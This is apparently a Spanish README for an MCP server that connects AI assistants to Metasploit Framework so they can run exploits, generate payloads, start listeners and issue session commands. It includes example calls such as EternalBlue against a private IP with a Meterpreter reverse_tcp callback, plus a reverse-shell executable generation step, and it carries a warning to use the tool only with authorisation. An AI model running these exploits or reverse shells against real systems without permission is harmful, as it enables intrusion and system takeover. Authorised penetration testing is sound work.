Servidor MCP de Metasploit
Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración de Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Descripción
Este servidor MCP conecta modelos de lenguaje extensos como Claude con la plataforma de pruebas de penetración Metasploit Framework. Permite a los asistentes de IA acceder y controlar dinámicamente la funcionalidad de Metasploit mediante herramientas estandarizadas, lo que facilita una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.
Related MCP server: Vibehacker Metasploit MCP
Características
Información del módulo
list_exploits : busca y enumera los módulos de explotación de Metasploit disponibles
list_payloads : busca y enumera los módulos de carga útil de Metasploit disponibles con filtrado opcional de plataforma y arquitectura
Flujo de trabajo de explotación
run_exploit : Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar comprobaciones primero
run_auxiliary_module : ejecuta cualquier módulo auxiliar de Metasploit con opciones personalizadas
run_post_module : Ejecutar módulos posteriores a la explotación contra sesiones existentes
Generación de carga útil
generate_payload : Genera archivos de carga útil usando Metasploit RPC (guarda los archivos localmente)
Gestión de sesiones
list_active_sessions : muestra las sesiones actuales de Metasploit con información detallada
send_session_command : Ejecuta un comando en una shell activa o una sesión de Meterpreter
cease_session : Finalizar forzosamente una sesión activa
Gestión de controladores
list_listeners : muestra todos los controladores activos y trabajos en segundo plano
start_listener : Crea un nuevo multi/handler para recibir conexiones
stop_job : Finaliza cualquier trabajo o controlador en ejecución
Prerrequisitos
Metasploit Framework instalado y msfrpcd ejecutándose
Python 3.10 o superior
Paquetes de Python necesarios (consulte requirements.txt)
Instalación
Clonar este repositorio
Instalar dependencias:
pip install -r requirements.txtConfigurar variables de entorno (opcional):
MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Uso
Inicie el servicio RPC de Metasploit:
Opciones de transporte
El servidor admite dos métodos de transporte:
HTTP/SSE (eventos enviados por el servidor) : modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP
STDIO (Entrada/Salida estándar) : se utiliza con Claude Desktop y conexiones de tubería directa similares
Puede seleccionar explícitamente el modo de transporte utilizando el indicador --transport :
Opciones adicionales para el modo HTTP:
Integración de escritorio de Claude
Para la integración de Claude Desktop, configure claude_desktop_config.json :
Otros clientes de MCP
Para otros clientes MCP que utilizan HTTP/SSE:
Inicie el servidor en modo HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085Configure su cliente MCP para conectarse a:
Punto final de SSE:
http://your-server-ip:8085/sse
Consideraciones de seguridad
⚠️ ADVERTENCIA DE SEGURIDAD IMPORTANTE :
Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela con responsabilidad y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.
Siempre valide y revise todos los comandos antes de ejecutarlos
Ejecutar únicamente en entornos de prueba segregados o con la autorización adecuada
Tenga en cuenta que los comandos posteriores a la explotación pueden provocar modificaciones significativas del sistema.
Flujos de trabajo de ejemplo
Explotación básica
Lista de exploits disponibles:
list_exploits("ms17_010")Seleccione y ejecute un exploit:
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})Lista de sesiones:
list_active_sessions()Ejecutar comandos:
send_session_command(1, "whoami")
Post-explotación
Ejecutar un módulo de publicación:
run_post_module("windows/gather/enum_logged_on_users", 1)Enviar comandos personalizados:
send_session_command(1, "sysinfo")Terminar cuando haya terminado:
terminate_session(1)
Gestión de controladores
Iniciar un oyente:
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)Lista de controladores activos:
list_listeners()Generar una carga útil:
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})Detener un controlador:
stop_job(1)
Opciones de configuración
Directorio de guardado de carga útil
De forma predeterminada, las cargas útiles generadas con generate_payload se guardan en un directorio payloads en su carpeta de inicio ( ~/payloads o C:\Users\YourUsername\payloads ). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR .
Configuración de la variable de entorno:
Ventanas (PowerShell) :
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"Windows (Símbolo del sistema) :
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloadsLinux/macOS :
export PAYLOAD_SAVE_DIR=/custom/path/to/payloadsEn la configuración de Claude Desktop :
"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }
Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de la carga útil podría fallar.
Licencia
Apache 2.0